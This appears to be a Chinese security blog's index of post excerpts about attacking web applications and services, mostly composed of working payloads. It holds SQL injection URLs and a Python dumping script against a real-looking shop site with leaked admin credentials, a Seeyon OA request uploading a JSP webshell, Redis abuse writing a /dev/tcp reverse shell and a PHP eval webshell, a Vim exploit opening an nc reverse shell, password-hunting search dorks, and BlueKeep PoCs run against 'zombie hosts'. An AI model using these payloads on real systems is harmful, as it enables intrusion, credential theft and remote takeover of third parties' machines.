Classification:Penetration

Classification (Penetration)'s result:

记一次mssql注入历程

0x00 发现 目标使用hishop,查看历史漏洞发现一处注入: http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20@@version)%3E0%20and%20%271%27=%271   db_name():xxxshop017 user:xxxx017 @@servername:XXXSHOP   0x01 郁闷的爆表名 那就开始爆xxxshop017的表吧 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(%27Hishop_HelpCategories%27))%3E0%20and%20%271%27=%271 /× 也可以利用information_schema爆表 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=(select%20top%201%20table_name%20from%20information_schema.tables%20);– ×/ 写个脚本跑表 #coding:utf-8 #Author:LSA #Description:hishop sqli for /user/UserRefundApply?OrderId= #Date:20190701 import sys import requests from bs4 import BeautifulSoup import re headers = { ‘Cookie’: ”, ‘User-Agent’: ‘Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36’ } global tables_name tables_name = “‘Hishop_HelpCategories'” #print tables_name def brute_tables(url): for i in range(0,300): url = ‘http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(‘ + tables_name + ‘))%3E0%20and%20%271%27=%271’ print url rsp = requests.get(url,headers=headers) soup = BeautifulSoup(rsp.text,”lxml”) title = soup.title.string #print title table_name = re.findall(r”‘(.*?)'”,title) #print table_name[0] global tables_name tables_name = tables_name + ‘,\” + table_name[0] + ‘\” #print tables_name print tables_name def main(url): brute_tables(url) if __name__ == ‘__main__’: url = ‘http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%20(select%20top%201%20name%20from%20sysobjects%20where%20xtype=%27u%27%20and%20name%20not%20in%20(‘ + tables_name + ‘))%3E0%20and%20%271%27=%271’ main(url) 郁闷开始了,竟然报错了! 经测试,是因为url长度超过2093返回404了,利用burp和chrome都是相同情况,目标系统iis8.5+.net4,在使用相同hishop的另外一个网站(iis7.5)测试不会404…… 猜测可能是运维修改了IIS最大url长度,但是可能性非常低! 无奈,利用xml path爆吧 利用xml path()爆所有表 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=convert(int,(select%20quotename(name)%20from%20xxxshop017..sysobjects%20where%20xtype=%27U%27%20FOR%20XML%20PATH(%27%27)))%20and%20%271%27=%271   由于表名太多,最后出现省略号,无法爆完所有表。   那就利用not in分两次爆,把第一次用xml path爆出来的表名加入not in。 http://mall.xxx.com.cn/USER/UserRefundApply?OrderId=%27%20and%201=CONVERT(INT,(select%20quotename(name)%20from%20xxxshop017..sysobjects%20where%20xtype=%27U%27%20and%20name%20not%20in%20(%27Hishop_HelpCategories%27,%27Hishop_Hotkeywords%27,%27Hishop_OrderDailyStatistics%27,%27Hishop_CountDownSku%27,%27Hishop_Helps%27,%27Hishop_NavMenu%27,%27Hishop_Gifts%27,%27Hishop_ProductConsultations%27,%27Hishop_MessageTemplates%27,%27CustomMade_Logs%27,%27Hishop_FriendlyLinks%27,%27Hishop_ProductAttributes%27,%27Hishop_MessageContent%27,%27Hishop_FightGroupActivities%27,%27Hishop_PointDetails%27,%27Hishop_MemberMessageBox%27,%27Hishop_FavoriteTags%27,%27Hishop_InpourRequest%27,%27Hishop_ExpressTemplates%27,%27Hishop_ManagerMessageBox%27,%27Hishop_SKUMemberPrice%27,%27Hishop_EmailQueue%27,%27Hishop_SKUItems%27,%27Hishop_DeliveryScope%27,%27Hishop_MenuClickRecords%27,%27Hishop_UserShippingAddresses%27,%27Hishop_DailyAccessStatistics%27,%27Hishop_Logs%27,%27Hishop_ShoppingCarts%27,%27Hishop_Coupons%27,%27Hishop_IntegrationSettings%27,%27Hishop_ProductPreSale%27,%27Hishop_GiftShoppingCarts%27,%27Hishop_PhotoGallery%27,%27Hishop_PromotionRegions%27,%27Hishop_ProductDailyAccessStatistics%27,%27Hishop_Favorite%27,%27Hishop_PhotoCategories%27,%27Hishop_MarketingImages%27,%27Hishop_PhoneCodeIPs%27,%27Hishop_PhoneCodeEveryDayTimes%27,%27Hishop_PrivilegeInRoles%27,%27aspnet_Referrals%27,%27Hishop_PaymentTypes%27,%27Hishop_ProductSpecificationImages%27,%27aspnet_MemberOpenIds%27,%27Hishop_Orders%27,%27Hishop_Products%27,%27Hishop_BalanceDrawRequest%27,%27aspnet_Roles%27,%27Hishop_Shippers%27,%27Hishop_BalanceDetails%27,%27ChangeStockLog%27,%27Hishop_Service%27,%27aspnet_MemberGrades%27,%27Hishop_RelatedProducts%27,%27aspnet_OpenIdSettings%27,%27Custom_Etickets%27,%27Hishop_RelatedArticsProducts%27,%27aspnet_MemberWXShoppingGuider%27,%27Hishop_Regions%27,%27aspnet_MemberWXReferral%27,%27Custom_EticketsResult%27,%27Hishop_RedEnvelopeSendRecord%27,%27aspnet_MemberTags%27,%27Hishop_RedEnvelopeGetRecord%27,%27Hishop_CombinationBuySKU%27)FOR%20XML%20PATH(%27%27)))%20and%20%271%27=%271       0x02 获取列名和数据 判断管理员帐号密码可能在 aspnet_Members或aspnet_Managers这两个表中 先看aspnet_Members http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=(select%20top%201%20*%20from%20xxxshop017..aspnet_Members%20FOR%20XML%20PATH(%27%27))–   得到帐号admin密码xxx2018@ 利用where、not in可以获取多个数据 有些帐号的密码经过了加密(疑似RSA) <Password>dNPQ/7vfChaeOmCL7Wb8mRmRq9U=</Password><PasswordSalt>5pk/VC1CM8ARImoqpquGpg==</PasswordSalt> 再看看aspnet_Managers http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=(select%20top%201%20*%20from%20xxxshop017..aspnet_Managers%20FOR%20XML%20PATH(%27%27))–   密码base16/32/64无法解密 疑似经过了rsa加密。   利用admin xxx2018@登录失败。 猜测可能是数据库不对,尝试爆所有数据库。 利用xml paht()爆所有库 http://mall.xxx.com.cn/USER/UserRefundApply?OrderId=%27%20and%20(select%20quotename(name)%20from%20master..sysdatabases%20FOR%20XML%20PATH(%27%27))%3E0%20and%20%271%27=%271   得到可能存在帐号密码的数据库(域名是mall) [xxxmall] 尝试跨库查询 http://mall.xxx.com.cn/user/UserRefundApply?OrderId=%27%20and%201=convert(int,(select%20quotename(name)%20from%20xxxmall..sysobjects%20where%20xtype=%27U%27%20FOR%20XML%20PATH(%27%27)))%20and%20%271%27=%271……

致远oa(seeyon)文件上传漏洞重现

0x00 影响范围 经本人测试,如下 v6.1sp2 a6+v7sp3 A8-v5 v6.1sp1 实际范围不止以上版本。 0x01 漏洞重现 验证: POC: //根据exp1修改 a6+v7sp3 发送数据包: POST /seeyon/htmlofficeservlet HTTP/1.1 Host: xxx.com.cn Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=AD5D04D5A82032FCB3C91028ADF9F839; loginPageURL= Connection: close Content-Length: 462   DBSTEP V3.0 345 0 21 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdbrJuz7T2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 only-test-seeyon-rcexxxxxx   EXP0: 传Cknife马 v6.1sp2 POST /seeyon/htmlofficeservlet HTTP/1.1 Host: 58.1.1.2:81 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: JSESSIONID=0d218993-e7c3-4caa-8281-42c886e5f42c; loginPageURL=”” Connection: close Content-Length: 9540   DBSTEP V3.0 348 0 9122 DBSTEP=OKMLlKlV OPTION=S3WYOSWLBSGr currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66 CREATEDATE=wUghPB3szB3Xwg66 RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6 originalFileId=wV66 originalCreateDate=wUghPB3szB3Xwg66 FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeAD5cfT2dEg6 needReadFile=yRWZdAS6 originalCreateDate=wLSGP4oEzLKAz4=iz=66 <%@page import=”java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*”%> <%! String Pwd = “x”; String cs = “UTF-8”;   String EC(String s) throws Exception { return new String(s.getBytes(“ISO-8859-1”),cs); }   Connection GC(String s) throws Exception { String[] x = s.trim().split(“choraheiheihei”); Class.forName(x[0].trim()); if(x[1].indexOf(“jdbc:oracle”)!=-1){ return DriverManager.getConnection(x[1].trim()+”:”+x[4],x[2].equalsIgnoreCase(“[/null]”)?””:x[2],x[3].equalsIgnoreCase(“[/null]”)?””:x[3]); }else{ Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase(“[/null]”)?””:x[2],x[3].equalsIgnoreCase(“[/null]”)?””:x[3]); if (x.length > 4) { c.setCatalog(x[4]);……

coremail 配置信息泄露及接口未授权漏洞重现

0x00 配置信息泄漏 POC: mailsms/s?func=ADMIN:appState&dumpConfig=/ 可以获取数据库配置信息和推送账号。 有些可能限制ip。 可以进入后台管理。 有些是404,可能打了补丁或者是老漏洞了,也可能是版本问题。 0x01 webservice接口未授权   进一步获取数据失败。      

redis未授权访问漏洞利用

0x00 基本命令 还有flushall 修改相关配置以重现漏洞 config: redis.windows.conf: bind 0.0.0.0 Protected-mode no redis-server.exe “redis.windows.conf” /* redis持久化存储 dump.rdp文件: RDB可以将某一时刻的所有数据写入硬盘中,通过RDB文件,可以将redis数据恢复到某一历史时刻(snapshots)。   save/bgsave save 900 1 save 300 10 save 60 10000 — AOF会在redis执行写命令时,将被执行的写命令复制到磁盘aof文件中,恢复数据的时候,redis会在原有基础上依次执行AOF文件中的写命令,从而恢复数据。   appendonly yes appendfilename “appendonly.aof” appendfsync everysec */ 0x01 反弹shell 192.168.138.129:6379> set x “\n* * * * * bash -i >& /dev/tcp/192.168.43.237/7788 0>&1\n” OK 192.168.138.129:6379> config set dir /var/spool/ OK 192.168.138.129:6379> config set dbfilename root OK 192.168.138.129:6379> save 未能成功反弹,原因可能是debian,ubuntu的计划任务的格式很严格,须执行 crontab -u root /var/spool/cron/crontabs/root 通过语法检查才能执行计划任务。 也可能是权限或格式(不能有其他脏字符)问题。 只有centos能成功。   0x02 添加ssh key 或者 cat sshpubkey.txt | redis-cli -h 192.168.138.129 -x set x $ redis-cli -h 192.168.138.129 $ 192.168.138.129:6379> config set dir /root/.ssh/ OK $ 192.168.138.129:6379> config get dir 1) “dir” 2) “/root/.ssh” $ 192.168.138.129:6379> config set dbfilename “authorized_keys” OK $ 192.168.138.129:6379> save OK   0x03 Web目录写webshell 192.168.43.237:6379> config set dir D:\phpStudy\WWW\ OK 192.168.43.237:6379> config set dbfilename redishell.php OK 192.168.43.237:6379> set rs “<?php @eval($_POST[x]);?>” OK 192.168.43.237:6379> save   0x04 防御方案 1. 加密码 redis.conf: requirepass mypassword   2. 本地访问: redis.conf: bind 127.0.0.1   3. 改权限 chmod 400 ~/.ssh/authorized_keys chattr +i ~/.ssh/authorized_keys chattr +i ~/.ssh    

upload-labs攻略(Pass01-20)

0x00 概述 很好的一个练习上传漏洞的项目https://github.com/c0ny1/upload-labs 先来个黑名单 array( “.php”,”.php5″,”.php4″,”.php3″,”.php2″,”php1″, “.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5″,”.pHp4″,”.pHp3″, “.pHp2″,”pHp1″,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”, “.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”, “.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”, “.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”, “.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess” );   0x01 安装 kali(linux) docker pull c0ny1/upload-labs docker run -d -p 80:80 c0ny1/upload-labs:latest //点击清空上传文件以创建upload文件夹,手动创建会上传出错! or win7(推荐在win下耍) phpstudy(php5.2.17)+upload-labs:master   0x02 Pass01-20解题方案 Pass01 js客户端绕过,直接burp抓包改php后缀上传即可   Pass02 在服务端对数据包的MIME进行检查 if (($_FILES[‘upload_file’][‘type’] == ‘image/jpeg’) || ($_FILES[‘upload_file’][‘type’] == ‘image/png’) || ($_FILES[‘upload_file’][‘type’] == ‘image/gif’)) { $temp_file = $_FILES[‘upload_file’][‘tmp_name’]; $img_path = UPLOAD_PATH . ‘/’ . $_FILES[‘upload_file’][‘name’] if (move_uploaded_file($temp_file, $img_path)) { 抓包改mime为image/jpeg即可或直接用Pass01的方法   Pass03 黑名单禁止上传.asp|.aspx|.php|.jsp后缀文件 if (file_exists(UPLOAD_PATH)) { $deny_ext = array(‘.asp’,’.aspx’,’.php’,’.jsp’); $file_name = trim($_FILES[‘upload_file’][‘name’]); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, ‘.’); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空   if(!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES[‘upload_file’][‘tmp_name’]; $img_path = UPLOAD_PATH.’/’.date(“YmdHis”).rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { 黑名单,用php3/4/5即可,默认不解析php3/phtml;那就覆盖.htaccess,会重命名加上了时间戳;%aa用url解码也失败;conn2.php:jpg(如果成功再发送conn2.<<<就可以覆盖文件,利用windows系统特性)失败;.::$DATA失败; 在mime.type直接添加 application/x-httpd-php          phtml pht php3 php 再上传conn2.php3即可 或者尝试 httpd.conf AddType Application/x-httpd-php .php .php3 .php5 .phtml 再上传conn2.phtml就可以解析了。   Pass04 黑名单禁了一堆后缀。 if (file_exists(UPLOAD_PATH)) { $deny_ext = array(“.php”,”.php5″,”.php4″,”.php3″,”.php2″,”php1″,”.html”,”.htm”,”.phtml”,”.pht”,”.pHp”,”.pHp5″,”.pHp4″,”.pHp3″,”.pHp2″,”pHp1″,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”); $file_name = trim($_FILES[‘upload_file’][‘name’]); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, ‘.’); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace(‘::$DATA’, ”, $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空   if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES[‘upload_file’][‘tmp_name’]; $img_path =……

microsoft notepad和linux vim/neovim的RCE漏洞

0x00 notepad rce 20190528,Google Project Zero研究员Tavis Ormandy宣布在微软的记事本中发现代码执行漏洞。 从他发布的图片看有看出,成功在记事本进程下启动cmd shell。 由于漏洞披露原则,暂未公开具体漏洞细节。   0x01 vim/neovim rce 1周后,20190604,vim也被曝出rce…… 名为Arminius的安全研究员发现vim/neovim的本地任意代码执行漏洞,poc和exp已公开: 影响范围:Vim < 8.1.1365, Neovim < 0.3.6 https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md //建议直接用原作者的poc和exp,复制和修改可能会失败! POC: poc.txt :!uname -a||” vi:fen:fdm=expr:fde=assert_fails(“source\!\ \%”):fdl=0:fdt=”   :set modeline $ vim poc.txt EXP: exp.txt: \x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\’nohup nc 127.0.0.1 7766 -e bash &\’) | redraw! | file | silent! # ” vim: set fen fdm=expr fde=assert_fails(\’set\\ fde=x\\ \\|\\ source\\!\\ \\%\’) fdl=0: \x16\x1b[1G\x16\x1b[KNothing here.”\x16\x1b[D \n //这里用cat还是能看出来一点exp,可能是编辑器或者win7系统的原因 打开即可成功反弹shell,并覆写文件以隐藏,cat exp.txt看不出(加-v可以看出)     0x02 修复方案   vim补丁8.1.1365 https://github.com/vim/vim/commit/5357552 neovim补丁(在v0.3.6中发布) https://github.com/neovim/neovim/pull/10082 https://github.com/neovim/neovim/releases/tag/v0.3.6   在vimrc中禁用modeline(设置nomodeline),使用securemines插件,或禁用modelineexpr(从8.1.1366补丁开始,仅支持vim)以禁用modeline中的表达式。   0x03 结语 钓鱼妙招!   0x04 参考资料 https://mp.weixin.qq.com/s/f4s7x5MciLDFirSNLlBh3Q

google hacking note

0x00 Grammar inurl/allinurl site intext/allintext intitle/alintitle filetype: cache info link   related phonebook   inanchor daterange define     + – ~ . * “”   0x01 Example intitle:”php shell*” “Enable stderr” filetype:php intitle:”index of” master.passwd Intext:to parent directory+intext:.mdb   filetype:reg reg +intext:”defaultusername” +intext:”defaultpassword” filetype:inc dbconn   inurl:aspx|jsp|php|asp inurl:”viewerframe?mode=”   inurl:top.htm inurl:currenttime   0x02 Defense 1. robots.txt 2. http://www.google.com/remove.html 3. if(strstr($_SERVER[‘HTTP_USER_AGENT’],”Googlebot”)) { header(“HTTP/1.1301”); header(“Location:http://www.google.com”); } ?> 4. noarchive 5. nosnipet   0x03 Tools https://www.exploit-db.com/google-hacking-database https://pentest-tools.com/information-gathering/google-hacking   0x04 Reference https://blog.csdn.net/MickeyMouse1928/article/details/68066505 https://zhuanlan.zhihu.com/p/25295436   0x05 more examples all from internet intitle:index.of “Apache/1.3.27 Server at” intitle:index.of index.php.bak inurl:index.php.bak filetype:conf inurl:firewall inurl:conf OR inurl:config OR inurl:cfg filetype:log username putty filetype:xls username password email intitle:login intext:版权信息 filetype:sql sql filetype:mdb inurl:com allinurl:winnt/system32/ allinurl:wwwboard/passwd.txt inurl:.bash_history inurl:config.txt inurl:admin filetype:txt inurl:admin filetype:db inurl:admin filetype:cfg inurl:mysql filetype:cfg inurl:passwd filetype:txt inurl:iisadmin allinurl:/scripts/cart32.exe allinurl:/CuteNews/show_archives.php allinurl:/phpinfo.php allinurl:/privmsg.php inurl:auth_user_file.txt inurl:orders.txt inurl:”wwwroot/*.” inurl:adpassword.txt inurl:webeditor.php inurl:file_upload.php inurl:gov filetype:xls “restricted” index of ftp +.mdb allinurl:/cgi-bin/ +mailto intitle:”php shell*” “Enable stderr” filetype:php allintitle:”index of /admin inurl:jira AND intitle:login AND inurl:[company_name] inurl:https://trello.com AND intext:@gmail.com AND intext:password inurl:https://trello.com AND intext:ftp AND……

利用smb绕过双off进行RFI

0x00 概述 前段时间看到这篇文章,感觉有点意思,特此重现。 0x01 重现 先off 尝试远程包含phpinfo http://192.168.43.237:8888/lsawebtest/misc/smbrfi/getfile.php?filename=http://192.168.138.129/x.php 搭建smb服务器 apt-get install samba mkdir /var/www/html/pub/ chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/ echo > /etc/samba/smb.conf 写入 [global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes ​ [ethan] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody 配置匿名可访问smb service smbd restart 成功包含Phpinfo和一句话木马 http://192.168.43.237:8888/lsawebtest/misc/smbrfi/getfile.php?filename=\\192.168.138.129\ethan\x.php http://192.168.43.237:8888/lsawebtest/misc/smbrfi/getfile.php?filename=\\192.168.138.129\ethan\xxxxx.php 0x02 结语 本人未测试外网smb和非windows服务器,根据网上别人的测试,这种方法只对windows php服务器(默认有smb客户端,UNC特性\\)有效,linux服务器可能需要安装smb客户端或者不支持UNC(默认不支持smb);外网smb无效,可能是运营商禁了445,还是有点鸡肋……

RDP RCE(CVE-2019-0708)集锦

//Really DO Patch ^_^ 0x00 概述 20190514,微软发布补丁,修复了一个严重的漏洞-rdp远程代码执行。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发,影响堪比wannycry。   0x01影响范围 Windows 7 Windows Server 2008 R2 Windows Server 2008 Windows Server 2003 Windows XP   0x02 漏洞重现 poc已出,重现几个网上主流的poc: 1)360的0708detector.exe(无损扫描工具) //感觉不是很稳定,对同个ip有时成功有时不成功…… 一些根据此工具写的批量 https://github.com/biggerwing/CVE-2019-0708-poc https://github.com/autoing/CVE-2019-0708-POC   2)https://github.com/zerosum0x0/CVE-2019-0708 包含了msf的rb git clone https://github.com/zerosum0x0/CVE-2019-0708.git cd CVE-2019-0708/rdesktop-fork-bd6aa6acddf0ba640a49834807872f4cc0d0a773/ ./bootstrap ./configure –disable-credssp –disable-smartcard make ./rdesktop 192.168.1.7:3389 可能要apt-get install libssl1.0.0 libssl-dev 用scan_with_docker.py可以批量 //较稳定   3)https://github.com/Ekultek/BlueKeep.git 可以批量 先安装impacket https://github.com/SecureAuthCorp/impacket pip install -r requestments.txt pip install . vim bluekeep_poc.py 删除重复的一个impacket   4)https://github.com/robertdavidgraham/rdpscan 可批量 //较不稳定   5)https://github.com/Leoid/CVE-2019-0708 pip3 install impacket 6)https://github.com/n1xbyte/CVE-2019-0708 //20190531新增蓝屏poc,用03standx86测试出现 OpenSSL.SSL.SysCallError: (104, ‘ECONNRESET’) 应该是这个03系统问题 直接找几个僵尸主机测一测 //效果不错! 7)https://github.com/closethe/CVE-2019-0708-POC 试了几个都是timed out,可能是poc未完善…… 其他一些poc(未测试): https://github.com/skyshell20082008/CVE-2019-0708-PoC-Hitting-Path https://github.com/blacksunwen/CVE-2019-0708(和5基本一样) https://github.com/Jaky5155/cve-2019-0708-exp https://github.com/fourtwizzy/CVE-2019-0708-Check-Device-Patch-Status https://github.com/trickster0/CVE-2019-0708 https://github.com/algo7/bluekeep_CVE-2019-0708_poc_to_exploit(powershell)   截至发文(20190605),尚未发现公开可用exp,拭目以待! 360的某大神已搞出exp,能在win7 x64弹框了,未公开。   20190606,发现msf可获取meterpreter的exp,未公开。 https://twitter.com/zerosum0x0/status/1135866953996820480   /* 还有一堆假exp,利用ms12-020、os.system()、alert、假GUI、骗star等等。 www.cve-2019-0708.com(20190529无法访问了)据说是假的! */   0x03 漏洞分析   rdp基础 RDP 协议基于 T.128(T.120 协议族)提供多通道通信,并进行了拓展。 远程桌面协议(RDP)支持客户端建立点到点的连接,并定义了通信双方在虚拟通道间的数据通信方式,。这种虚拟通道为双向数据通道,可以扩展RDP的功能。Windows Server 2000在RDP v5.1中定义了32种静态虚拟通道(SVC),但是因为将来要定义的动态虚拟通道数量的限制,因此专用的通道svc数量受到一定限制。SVC是在会话开始时创建的,并在会话终止前保持不变,但DVC不同,因为它是根据用户需求来创建和删除的。 服务端在初始化阶段,会创建MS_T120, Index 为 31 的通道。在收到MCS Connect Initial数据封包后进行通道创建和绑定操作。 在IcaBindVirtualChannels函数中进行绑定时,IcaFindChannelByName函数只根据通道名进行通道查找。当通道名为MS_T120(不区分大小写)时,会找到系统内部通道 MS_T120的通道并与之绑定,绑定后,通道索引会即被更改为新的通道索引。 参考mcafee,seebug   本人用win7sp1 x64进行测试 查看termdd.sys,有修改 对比补丁前后 13628这个子模块变化比较大,先看看 发现加了stricmp比较,和ms_t120这个通道比较,为0就用写死的v19即31(rdp通道编号)作为第三个参数传入13ec8这个子模块,所以这里可以看出漏洞点应该是ms_t120这个通道,是就触发漏洞。 //bindiff没解析出_IcaBindChannel和_IcaBindVirtualChannels。 在安全机制启用前,系统初始化了RDP连接序列,并完成通道的建立,这导致了该漏洞可形成蠕虫。 在rdp的gcc协商初始化序列中,ms_t120这个svc会被绑定作为引用通道31。 这个通道编号31在microsoft内部使用,在客户端请求连接中不会出现ms_t120这个svc。 但是在GCC协商初始化的过程中,客户端提供的通道名称并不在服务器端的白名单中,这意味着攻击者将能够设置另一个名为“MS_T120”的不在编号31的SVC通道,这导致目标系统发生堆内存崩溃并实现远程代码执行。 MS_T120引用通道会在rdpwsx.dll中创建,堆内存也会在rdpwp.sys中分配内存池。当MS_T120引用通道在通道编号非31的场景下建立时,便会发生堆内存崩溃。 微软在termdd.sys的_IcaBindVirtualChannels和_IcaRebindVirtualChannels两个函数中为客户端的连接请求部分添加了针对通道名称“MS_T120”的检查代码,来保证ms_t120是和通道31进行绑定。   利用wireshark获取rdp数据包(winn2003stand without 0708 patch) 正常rdp连接: tcp三次握手后发送rdp数据,利用decode as tpkt解出rdp数据包 //第二遍tcp握手后(neg req=fff)才开始发clientdata 没有ms_t120通道信息     利用360无损检查工具发送的数据包(neg req=fff) 此处本人推测ms_t120通道编号是1,channelCount就是channelDefArray元素数,验证漏洞存在! 利用./rdesktop(第二个poc)对某僵尸主机发送的数据包: 此时推测ms_t120通道编号为2,验证漏洞存在! 利用蓝屏crashpoc.py对某僵尸主机发送的数据包: 本人才疏学浅,对rdp不甚了解,只能从浅层大概分析,高手可参考相关分析资料。 相关分析资料: 英文: https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/(推荐) https://medium.com/@straightblast426/a-debugging-primer-with-cve-2019-0708-ccfa266682f6 https://wazehell.io/2019/05/22/cve-2019-0708-technical-analysis-rdp-rce/ https://www.malwaretech.com/2019/05/analysis-of-cve-2019-0708-bluekeep.html……

tomcat rce漏洞重现(cve-2019-0232)

0x00 概述 2019.4,网上曝出出tomcat rce漏洞(cve-2019-0232),该漏洞是由于Tomcat CGI(jre)将命令行参数传递给Windows程序的方式存在错误,使得CGIServlet被命令注入,本文对此漏洞进行重现。 0x01 影响范围 Apache Tomcat 9.0.0.M1 to 9.0.17 Apache Tomcat 8.5.0 to 8.5.39 Apache Tomcat 7.0.0 to 7.0.93   0x02 漏洞重现 环境 tomcat 8.5.39/9.0.12+java 8u171 conf/web.xml 注意要去掉注释!!! 第六行web-inf/cgi-bin!!!(默认是web-inf/cgi,涉及访问路径) conf/context.xml Context 添加privileged=”true” 编写bat文件 重现成功! whoami和net user都空白,应该是权限不足。   0x03 结语 好鸡肋的漏洞,不仅要修改默认配置,还要传bat……(理论型漏洞如12615)   0x04 修复方案 升级到v9.0.19(增加了校验命令行参数) 不要乱改配置(除非你知道自己在干嘛……)   0x05 参考资料 https://xz.aliyun.com/t/4875 http://26.wf/?p=375